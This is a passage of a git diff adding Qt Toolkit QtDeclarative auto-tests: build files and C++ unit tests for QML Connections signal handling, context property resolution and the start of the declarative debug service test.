+ id: screen; width: 50
+
+ property string tested
+ signal testMe(int param1, string param2)
+
+ Connections { target: screen; onTestMe: screen.tested = param2 + param1 }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/qdeclarativeconnection.pro b/tests/auto/declarative/qdeclarativeconnection/qdeclarativeconnection.pro
new file mode 100644
index 00000000..6f9550d3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/qdeclarativeconnection.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeconnection.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeconnection/tst_qdeclarativeconnection.cpp b/tests/auto/declarative/qdeclarativeconnection/tst_qdeclarativeconnection.cpp
new file mode 100644
index 00000000..e42e906d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/tst_qdeclarativeconnection.cpp
@@ -0,0 +1,234 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativeconnections_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include "../../../shared/util.h"
+#include <QtDeclarative/qdeclarativescriptstring.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeconnection : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeconnection();
+
+private slots:
+ void defaultValues();
+ void properties();
+ void connection();
+ void trimming();
+ void targetChanged();
+ void unknownSignals_data();
+ void unknownSignals();
+ void errors_data();
+ void errors();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeconnection::tst_qdeclarativeconnection()
+{
+}
+
+void tst_qdeclarativeconnection::defaultValues()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection3.qml"));
+ QDeclarativeConnections *item = qobject_cast<QDeclarativeConnections*>(c.create());
+
+ QVERIFY(item != 0);
+ QVERIFY(item->target() == 0);
+
+ delete item;
+}
+
+void tst_qdeclarativeconnection::properties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection2.qml"));
+ QDeclarativeConnections *item = qobject_cast<QDeclarativeConnections*>(c.create());
+
+ QVERIFY(item != 0);
+
+ QVERIFY(item != 0);
+ QVERIFY(item->target() == item);
+
+ delete item;
+}
+
+void tst_qdeclarativeconnection::connection()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-connection.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(c.create());
+
+ QVERIFY(item != 0);
+
+ QCOMPARE(item->property("tested").toBool(), false);
+ QCOMPARE(item->width(), 50.);
+ emit item->setWidth(100.);
+ QCOMPARE(item->width(), 100.);
+ QCOMPARE(item->property("tested").toBool(), true);
+
+ delete item;
+}
+
+void tst_qdeclarativeconnection::trimming()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/trimming.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(c.create());
+
+ QVERIFY(item != 0);
+
+ QCOMPARE(item->property("tested").toString(), QString(""));
+ int index = item->metaObject()->indexOfSignal("testMe(int,QString)");
+ QMetaMethod method = item->metaObject()->method(index);
+ method.invoke(item,
+ Qt::DirectConnection,
+ Q_ARG(int, 5),
+ Q_ARG(QString, "worked"));
+ QCOMPARE(item->property("tested").toString(), QString("worked5"));
+
+ delete item;
+}
+
+// Confirm that target can be changed by one of our signal handlers
+void tst_qdeclarativeconnection::targetChanged()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/connection-targetchange.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(c.create());
+ QVERIFY(item != 0);
+
+ QDeclarativeConnections *connections = item->findChild<QDeclarativeConnections*>("connections");
+ QVERIFY(connections);
+
+ QDeclarativeItem *item1 = item->findChild<QDeclarativeItem*>("item1");
+ QVERIFY(item1);
+
+ item1->setWidth(200);
+
+ QDeclarativeItem *item2 = item->findChild<QDeclarativeItem*>("item2");
+ QVERIFY(item2);
+ QVERIFY(connections->target() == item2);
+
+ // If we don't crash then we're OK
+
+ delete item;
+}
+
+void tst_qdeclarativeconnection::unknownSignals_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("basic") << "connection-unknownsignals.qml" << ":6:5: QML Connections: Cannot assign to non-existent property \"onFooBar\"";
+ QTest::newRow("parent") << "connection-unknownsignals-parent.qml" << ":6:5: QML Connections: Cannot assign to non-existent property \"onFooBar\"";
+ QTest::newRow("ignored") << "connection-unknownsignals-ignored.qml" << ""; // should be NO error
+ QTest::newRow("notarget") << "connection-unknownsignals-notarget.qml" << ""; // should be NO error
+}
+
+void tst_qdeclarativeconnection::unknownSignals()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, error);
+
+ QUrl url = QUrl::fromLocalFile(SRCDIR "/data/" + file);
+ if (!error.isEmpty()) {
+ QTest::ignoreMessage(QtWarningMsg, (url.toString() + error).toLatin1());
+ } else {
+ // QTest has no way to insist no message (i.e. fail)
+ }
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, url);
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(c.create());
+ QVERIFY(item != 0);
+
+ // check that connection is created (they are all runtime errors)
+ QDeclarativeConnections *connections = item->findChild<QDeclarativeConnections*>("connections");
+ QVERIFY(connections);
+
+ if (file == "connection-unknownsignals-ignored.qml")
+ QVERIFY(connections->ignoreUnknownSignals());
+
+ delete item;
+}
+
+void tst_qdeclarativeconnection::errors_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("no \"on\"") << "error-property.qml" << "Cannot assign to non-existent property \"fakeProperty\"";
+ QTest::newRow("3rd letter lowercase") << "error-property2.qml" << "Cannot assign to non-existent property \"onfakeProperty\"";
+ QTest::newRow("child object") << "error-object.qml" << "Connections: nested objects not allowed";
+ QTest::newRow("grouped object") << "error-syntax.qml" << "Connections: syntax error";
+}
+
+void tst_qdeclarativeconnection::errors()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, error);
+
+ QUrl url = QUrl::fromLocalFile(SRCDIR "/data/" + file);
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, url);
+ QVERIFY(c.isError() == true);
+ QList<QDeclarativeError> errors = c.errors();
+ QVERIFY(errors.count() == 1);
+ QCOMPARE(errors.at(0).description(), error);
+}
+
+QTEST_MAIN(tst_qdeclarativeconnection)
+
+#include "tst_qdeclarativeconnection.moc"
diff --git a/tests/auto/declarative/qdeclarativecontext/qdeclarativecontext.pro b/tests/auto/declarative/qdeclarativecontext/qdeclarativecontext.pro
new file mode 100644
index 00000000..74bb78c6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecontext/qdeclarativecontext.pro
@@ -0,0 +1,11 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativecontext.cpp
+macx:CONFIG -= app_bundle
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp b/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp
new file mode 100644
index 00000000..328a4e7e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp
@@ -0,0 +1,468 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDebug>
+#include <QDeclarativeEngine>
+#include <QDeclarativeContext>
+#include <QDeclarativeComponent>
+#include <QDeclarativeExpression>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativecontext : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativecontext() {}
+
+private slots:
+ void baseUrl();
+ void resolvedUrl();
+ void engineMethod();
+ void parentContext();
+ void setContextProperty();
+ void setContextObject();
+ void destruction();
+ void idAsContextProperty();
+ void readOnlyContexts();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qdeclarativecontext::baseUrl()
+{
+ QDeclarativeContext ctxt(&engine);
+
+ QCOMPARE(ctxt.baseUrl(), QUrl());
+
+ ctxt.setBaseUrl(QUrl("http://www.nokia.com/"));
+
+ QCOMPARE(ctxt.baseUrl(), QUrl("http://www.nokia.com/"));
+}
+
+void tst_qdeclarativecontext::resolvedUrl()
+{
+ // Relative to the component
+ {
+ QDeclarativeContext ctxt(&engine);
+ ctxt.setBaseUrl(QUrl("http://www.nokia.com/"));
+
+ QCOMPARE(ctxt.resolvedUrl(QUrl("main.qml")), QUrl("http://www.nokia.com/main.qml"));
+ }
+
+ // Relative to a parent
+ {
+ QDeclarativeContext ctxt(&engine);
+ ctxt.setBaseUrl(QUrl("http://www.nokia.com/"));
+
+ QDeclarativeContext ctxt2(&ctxt);
+ QCOMPARE(ctxt2.resolvedUrl(QUrl("main2.qml")), QUrl("http://www.nokia.com/main2.qml"));
+ }
+
+ // Relative to the engine
+ {
+ QDeclarativeContext ctxt(&engine);
+ QCOMPARE(ctxt.resolvedUrl(QUrl("main.qml")), engine.baseUrl().resolved(QUrl("main.qml")));
+ }
+
+ // Relative to a deleted parent
+ {
+ QDeclarativeContext *ctxt = new QDeclarativeContext(&engine);
+ ctxt->setBaseUrl(QUrl("http://www.nokia.com/"));
+
+ QDeclarativeContext ctxt2(ctxt);
+ QCOMPARE(ctxt2.resolvedUrl(QUrl("main2.qml")), QUrl("http://www.nokia.com/main2.qml"));
+
+ delete ctxt; ctxt = 0;
+
+ QCOMPARE(ctxt2.resolvedUrl(QUrl("main2.qml")), QUrl());
+ }
+
+ // Absolute
+ {
+ QDeclarativeContext ctxt(&engine);
+
+ QCOMPARE(ctxt.resolvedUrl(QUrl("http://www.nokia.com/main2.qml")), QUrl("http://www.nokia.com/main2.qml"));
+ QCOMPARE(ctxt.resolvedUrl(QUrl("file:///main2.qml")), QUrl("file:///main2.qml"));
+ }
+}
+
+void tst_qdeclarativecontext::engineMethod()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+
+ QDeclarativeContext ctxt(engine);
+ QDeclarativeContext ctxt2(&ctxt);
+ QDeclarativeContext ctxt3(&ctxt2);
+ QDeclarativeContext ctxt4(&ctxt2);
+
+ QCOMPARE(ctxt.engine(), engine);
+ QCOMPARE(ctxt2.engine(), engine);
+ QCOMPARE(ctxt3.engine(), engine);
+ QCOMPARE(ctxt4.engine(), engine);
+
+ delete engine; engine = 0;
+
+ QCOMPARE(ctxt.engine(), engine);
+ QCOMPARE(ctxt2.engine(), engine);
+ QCOMPARE(ctxt3.engine(), engine);
+ QCOMPARE(ctxt4.engine(), engine);
+}
+
+void tst_qdeclarativecontext::parentContext()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+
+ QCOMPARE(engine->rootContext()->parentContext(), (QDeclarativeContext *)0);
+
+ QDeclarativeContext *ctxt = new QDeclarativeContext(engine);
+ QDeclarativeContext *ctxt2 = new QDeclarativeContext(ctxt);
+ QDeclarativeContext *ctxt3 = new QDeclarativeContext(ctxt2);
+ QDeclarativeContext *ctxt4 = new QDeclarativeContext(ctxt2);
+ QDeclarativeContext *ctxt5 = new QDeclarativeContext(ctxt);
+ QDeclarativeContext *ctxt6 = new QDeclarativeContext(engine);
+ QDeclarativeContext *ctxt7 = new QDeclarativeContext(engine->rootContext());
+
+ QCOMPARE(ctxt->parentContext(), engine->rootContext());
+ QCOMPARE(ctxt2->parentContext(), ctxt);
+ QCOMPARE(ctxt3->parentContext(), ctxt2);
+ QCOMPARE(ctxt4->parentContext(), ctxt2);
+ QCOMPARE(ctxt5->parentContext(), ctxt);
+ QCOMPARE(ctxt6->parentContext(), engine->rootContext());
+ QCOMPARE(ctxt7->parentContext(), engine->rootContext());
+
+ delete ctxt2; ctxt2 = 0;
+
+ QCOMPARE(ctxt->parentContext(), engine->rootContext());
+ QCOMPARE(ctxt3->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt4->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt5->parentContext(), ctxt);
+ QCOMPARE(ctxt6->parentContext(), engine->rootContext());
+ QCOMPARE(ctxt7->parentContext(), engine->rootContext());
+
+ delete engine; engine = 0;
+
+ QCOMPARE(ctxt->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt3->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt4->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt5->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt6->parentContext(), (QDeclarativeContext *)0);
+ QCOMPARE(ctxt7->parentContext(), (QDeclarativeContext *)0);
+
+ delete ctxt7;
+ delete ctxt6;
+ delete ctxt5;
+ delete ctxt4;
+ delete ctxt3;
+ delete ctxt;
+}
+
+class TestObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int a READ a NOTIFY aChanged)
+ Q_PROPERTY(int b READ b NOTIFY bChanged)
+ Q_PROPERTY(int c READ c NOTIFY cChanged)
+
+public:
+ TestObject() : _a(10), _b(10), _c(10) {}
+
+ int a() const { return _a; }
+ void setA(int a) { _a = a; emit aChanged(); }
+
+ int b() const { return _b; }
+ void setB(int b) { _b = b; emit bChanged(); }
+
+ int c() const { return _c; }
+ void setC(int c) { _c = c; emit cChanged(); }
+
+signals:
+ void aChanged();
+ void bChanged();
+ void cChanged();
+
+private:
+ int _a;
+ int _b;
+ int _c;
+};
+
+#define TEST_CONTEXT_PROPERTY(ctxt, name, value) \
+{ \
+ QDeclarativeComponent component(&engine); \
+ component.setData("import QtQuick 1.0; QtObject { property variant test: " #name " }", QUrl()); \
+\
+ QObject *obj = component.create(ctxt); \
+\
+ QCOMPARE(obj->property("test"), value); \
+\
+ delete obj; \
+}
+
+void tst_qdeclarativecontext::setContextProperty()
+{
+ QDeclarativeContext ctxt(&engine);
+ QDeclarativeContext ctxt2(&ctxt);
+
+ TestObject obj1;
+ obj1.setA(3345);
+ TestObject obj2;
+ obj2.setA(-19);
+
+ // Static context properties
+ ctxt.setContextProperty("a", QVariant(10));
+ ctxt.setContextProperty("b", QVariant(9));
+ ctxt2.setContextProperty("d", &obj2);
+ ctxt2.setContextProperty("b", QVariant(19));
+ ctxt2.setContextProperty("c", QVariant(QString("Hello World!")));
+ ctxt.setContextProperty("d", &obj1);
+ ctxt.setContextProperty("e", &obj1);
+
+ TEST_CONTEXT_PROPERTY(&ctxt2, a, QVariant(10));
+ TEST_CONTEXT_PROPERTY(&ctxt2, b, QVariant(19));
+ TEST_CONTEXT_PROPERTY(&ctxt2, c, QVariant(QString("Hello World!")));
+ TEST_CONTEXT_PROPERTY(&ctxt2, d.a, QVariant(-19));
+ TEST_CONTEXT_PROPERTY(&ctxt2, e.a, QVariant(3345));
+
+ ctxt.setContextProperty("a", QVariant(13));
+ ctxt.setContextProperty("b", QVariant(4));
+ ctxt2.setContextProperty("b", QVariant(8));
+ ctxt2.setContextProperty("c", QVariant(QString("Hi World!")));
+ ctxt2.setContextProperty("d", &obj1);
+ obj1.setA(12);
+
+ TEST_CONTEXT_PROPERTY(&ctxt2, a, QVariant(13));
+ TEST_CONTEXT_PROPERTY(&ctxt2, b, QVariant(8));
+ TEST_CONTEXT_PROPERTY(&ctxt2, c, QVariant(QString("Hi World!")));
+ TEST_CONTEXT_PROPERTY(&ctxt2, d.a, QVariant(12));
+ TEST_CONTEXT_PROPERTY(&ctxt2, e.a, QVariant(12));
+
+ // Changes in context properties
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl());
+
+ QObject *obj = component.create(&ctxt2);
+
+ QCOMPARE(obj->property("test"), QVariant(13));
+ ctxt.setContextProperty("a", QVariant(19));
+ QCOMPARE(obj->property("test"), QVariant(19));
+
+ delete obj;
+ }
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant test: b }", QUrl());
+
+ QObject *obj = component.create(&ctxt2);
+
+ QCOMPARE(obj->property("test"), QVariant(8));
+ ctxt.setContextProperty("b", QVariant(5));
+ QCOMPARE(obj->property("test"), QVariant(8));
+ ctxt2.setContextProperty("b", QVariant(1912));
+ QCOMPARE(obj->property("test"), QVariant(1912));
+
+ delete obj;
+ }
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant test: e.a }", QUrl());
+
+ QObject *obj = component.create(&ctxt2);
+
+ QCOMPARE(obj->property("test"), QVariant(12));
+ obj1.setA(13);
+ QCOMPARE(obj->property("test"), QVariant(13));
+
+ delete obj;
+ }
+
+ // New context properties
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl());
+
+ QObject *obj = component.create(&ctxt2);
+
+ QCOMPARE(obj->property("test"), QVariant(19));
+ ctxt2.setContextProperty("a", QVariant(1945));
+ QCOMPARE(obj->property("test"), QVariant(1945));
+
+ delete obj;
+ }
+
+ // Setting an object-variant context property
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { id: root; property int a: 10; property int test: ctxtProp.a; property variant obj: root; }", QUrl());
+
+ QDeclarativeContext ctxt(engine.rootContext());
+ ctxt.setContextProperty("ctxtProp", QVariant());
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>:1: TypeError: Result of expression 'ctxtProp' [undefined] is not an object.");
+ QObject *obj = component.create(&ctxt);
+
+ QVariant v = obj->property("obj");
+
+ ctxt.setContextProperty("ctxtProp", v);
+
+ QCOMPARE(obj->property("test"), QVariant(10));
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativecontext::setContextObject()
+{
+ QDeclarativeContext ctxt(&engine);
+
+ TestObject to;
+
+ to.setA(2);
+ to.setB(192);
+ to.setC(18);
+
+ ctxt.setContextObject(&to);
+ ctxt.setContextProperty("c", QVariant(9));
+
+ // Static context properties
+ TEST_CONTEXT_PROPERTY(&ctxt, a, QVariant(2));
+ TEST_CONTEXT_PROPERTY(&ctxt, b, QVariant(192));
+ TEST_CONTEXT_PROPERTY(&ctxt, c, QVariant(9));
+
+ to.setA(12);
+ to.setB(100);
+ to.setC(7);
+ ctxt.setContextProperty("c", QVariant(3));
+
+ TEST_CONTEXT_PROPERTY(&ctxt, a, QVariant(12));
+ TEST_CONTEXT_PROPERTY(&ctxt, b, QVariant(100));
+ TEST_CONTEXT_PROPERTY(&ctxt, c, QVariant(3));
+
+ // Changes in context properties
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant test: a }", QUrl());
+
+ QObject *obj = component.create(&ctxt);
+
+ QCOMPARE(obj->property("test"), QVariant(12));
+ to.setA(14);
+ QCOMPARE(obj->property("test"), QVariant(14));
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativecontext::destruction()
+{
+ QDeclarativeContext *ctxt = new QDeclarativeContext(&engine);
+
+ QObject obj;
+ QDeclarativeEngine::setContextForObject(&obj, ctxt);
+ QDeclarativeExpression expr(ctxt, 0, "a");
+
+ QCOMPARE(ctxt, QDeclarativeEngine::contextForObject(&obj));
+ QCOMPARE(ctxt, expr.context());
+
+ delete ctxt; ctxt = 0;
+
+ QCOMPARE(ctxt, QDeclarativeEngine::contextForObject(&obj));
+ QCOMPARE(ctxt, expr.context());
+}
+
+void tst_qdeclarativecontext::idAsContextProperty()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { property variant a; a: QtObject { id: myObject } }", QUrl());
+
+ QObject *obj = component.create();
+ QVERIFY(obj);
+
+ QVariant a = obj->property("a");
+ QVERIFY(a.userType() == QMetaType::QObjectStar);
+
+ QVariant ctxt = qmlContext(obj)->contextProperty("myObject");
+ QVERIFY(ctxt.userType() == QMetaType::QObjectStar);
+
+ QVERIFY(a == ctxt);
+
+ delete obj;
+}
+
+// Internal contexts should be read-only
+void tst_qdeclarativecontext::readOnlyContexts()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; QtObject { id: me }", QUrl());
+
+ QObject *obj = component.create();
+ QVERIFY(obj);
+
+ QDeclarativeContext *context = qmlContext(obj);
+ QVERIFY(context);
+
+ QVERIFY(qvariant_cast<QObject*>(context->contextProperty("me")) == obj);
+ QVERIFY(context->contextObject() == obj);
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeContext: Cannot set property on internal context.");
+ context->setContextProperty("hello", 12);
+ QVERIFY(context->contextProperty("hello") == QVariant());
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeContext: Cannot set property on internal context.");
+ context->setContextProperty("hello", obj);
+ QVERIFY(context->contextProperty("hello") == QVariant());
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeContext: Cannot set context object for internal context.");
+ context->setContextObject(0);
+ QVERIFY(context->contextObject() == obj);
+
+ delete obj;
+}
+
+QTEST_MAIN(tst_qdeclarativecontext)
+
+#include "tst_qdeclarativecontext.moc"
diff --git a/tests/auto/declarative/qdeclarativedebug/qdeclarativedebug.pro b/tests/auto/declarative/qdeclarativedebug/qdeclarativedebug.pro
new file mode 100644
index 00000000..d488b53c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebug/qdeclarativedebug.pro
@@ -0,0 +1,10 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += network declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/debugutil_p.h
+SOURCES += tst_qdeclarativedebug.cpp \
+ ../shared/debugutil.cpp
+
+CONFIG += parallel_test declarative_debug
+
diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
new file mode 100644
index 00000000..83d47fca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
@@ -0,0 +1,1220 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QTimer>
+#include <QHostAddress>
+#include <QDebug>
+#include <QThread>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+
+#include <private/qdeclarativebinding_p.h>
+#include <private/qdeclarativeenginedebug_p.h>
+#include <private/qdeclarativedebugclient_p.h>
+#include <private/qdeclarativedebugservice_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativemetatype_p.h>
+#include <private/qdeclarativeproperty_p.h>
+
+#include "../../../shared/util.h"
+#include "../shared/debugutil_p.h"
+
+Q_DECLARE_METATYPE(QDeclarativeDebugWatch::State)
+
+class tst_QDeclarativeDebug : public QObject
+{
+ Q_OBJECT
+
+private:
+ QDeclarativeDebugObjectReference findRootObject(int context = 0, bool recursive = false);
+ QDeclarativeDebugPropertyReference findProperty(const QList<QDeclarativeDebugPropertyReference> &props, const QString &name) const;
+ void waitForQuery(QDeclarativeDebugQuery *query);
+
+ void recursiveObjectTest(QObject *o, const QDeclarativeDebugObjectReference &oref, bool recursive) const;
+
+ void recursiveCompareObjects(const QDeclarativeDebugObjectReference &a, const QDeclarativeDebugObjectReference &b) const;
+ void recursiveCompareContexts(const QDeclarativeDebugContextReference &a, const QDeclarativeDebugContextReference &b) const;
+ void compareProperties(const QDeclarativeDebugPropertyReference &a, const QDeclarativeDebugPropertyReference &b) const;
+
+ QDeclarativeDebugConnection *m_conn;
+ QDeclarativeEngineDebug *m_dbg;
+ QDeclarativeEngine *m_engine;
+ QDeclarativeItem *m_rootItem;
+
+ QObjectList m_components;
+
+private slots:
+ void initTestCase();
+ void cleanupTestCase();
+
+ void watch_property();
+ void watch_object();
+ void watch_expression();
+ void watch_expression_data();
+ void watch_context();
+ void watch_file();
+
+ void queryAvailableEngines();
+ void queryRootContexts();
+ void queryObject();
+ void queryObject_data();
+ void queryExpressionResult();
+ void queryExpressionResult_data();
+
+ void tst_QDeclarativeDebugFileReference();
+ void tst_QDeclarativeDebugEngineReference();
+ void tst_QDeclarativeDebugObjectReference();
+ void tst_QDeclarativeDebugContextReference();
+ void tst_QDeclarativeDebugPropertyReference();
+
+ void setBindingForObject();
+ void setMethodBody();
+ void queryObjectTree();
+ void setBindingInStates();
+};
+
+class NonScriptProperty : public QObject {
+ Q_OBJECT
+ Q_PROPERTY(int nonScriptProp READ nonScriptProp WRITE setNonScriptProp NOTIFY nonScriptPropChanged SCRIPTABLE false)
+public:
+ int nonScriptProp() const { return 0; }
+ void setNonScriptProp(int) {}
+signals:
+ void nonScriptPropChanged();
+};
+QML_DECLARE_TYPE(NonScriptProperty)
+
+
+QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context, bool recursive)
+{
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+
+ if (q_engines->engines().count() == 0)
+ return QDeclarativeDebugObjectReference();
